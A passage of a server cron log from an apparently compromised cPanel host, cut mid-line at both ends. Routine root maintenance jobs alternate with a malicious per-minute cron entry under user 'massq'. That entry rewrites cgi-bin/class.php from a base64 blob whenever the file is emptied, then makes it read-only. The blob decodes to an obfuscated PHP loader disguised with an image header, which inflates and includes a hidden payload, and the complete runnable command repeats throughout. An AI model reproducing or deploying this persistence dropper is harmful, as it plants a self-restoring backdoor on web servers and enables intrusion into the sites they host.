C2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 22:06:01 server CROND[25624]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 22:06:01 server CROND[25626]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 22:07:01 server CROND[26085]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 22:07:01 server CROND[26086]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 22:07:01 server CROND[26087]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 22:08:01 server CROND[26451]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 22:08:01 server CROND[26452]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 22:08:01 server CROND[26454]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 22:09:01 server CROND[26832]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 22:09:01 server CROND[26833]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  2 22:09:01 server CROND[26835]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 22:09:01 server CROND[26834]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 22:10:01 server CROND[27213]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 22:10:01 server CROND[27214]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 22:10:01 server CROND[27217]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 22:10:01 server CROND[27222]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 22:10:01 server CROND[27224]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 22:10:01 server CROND[27218]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 22:10:01 server CROND[27220]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 22:10:01 server CROND[27219]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 22:11:01 server CROND[28062]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 22:11:01 server CROND[28063]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 22:11:01 server CROND[28061]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 22:12:01 server CROND[28419]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 22:12:01 server CROND[28420]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 22:12:01 server CROND[28422]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 22:12:01 server CROND[28421]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 22:13:01 server CROND[28876]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 22:13:01 server CROND[28877]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 22:13:01 server CROND[28878]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 22:14:01 server CROND[29251]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 22:14:01 server CROND[29252]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 22:14:01 server CROND[29253]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 22:15:01 server CROND[29709]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 22:15:01 server CROND[29715]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 22:15:01 server CROND[29716]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 22:15:01 server CROND[29714]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 22:15:01 server CROND[29713]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  2 22:15:01 server CROND[29720]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 22:15:01 server CROND[29717]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  2 22:15:01 server CROND[29718]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 22:15:01 server CROND[29719]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 22:16:01 server CROND[30616]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 22:16:01 server CROND[30617]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 22:16:01 server CROND[30619]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 22:17:01 server CROND[30999]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 22:17:01 server CROND[31000]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 22:17:01 server CROND[31001]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 22:18:01 server CROND[31365]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 22:18:01 server CROND[31366]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 22:18:01 server CROND[31367]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 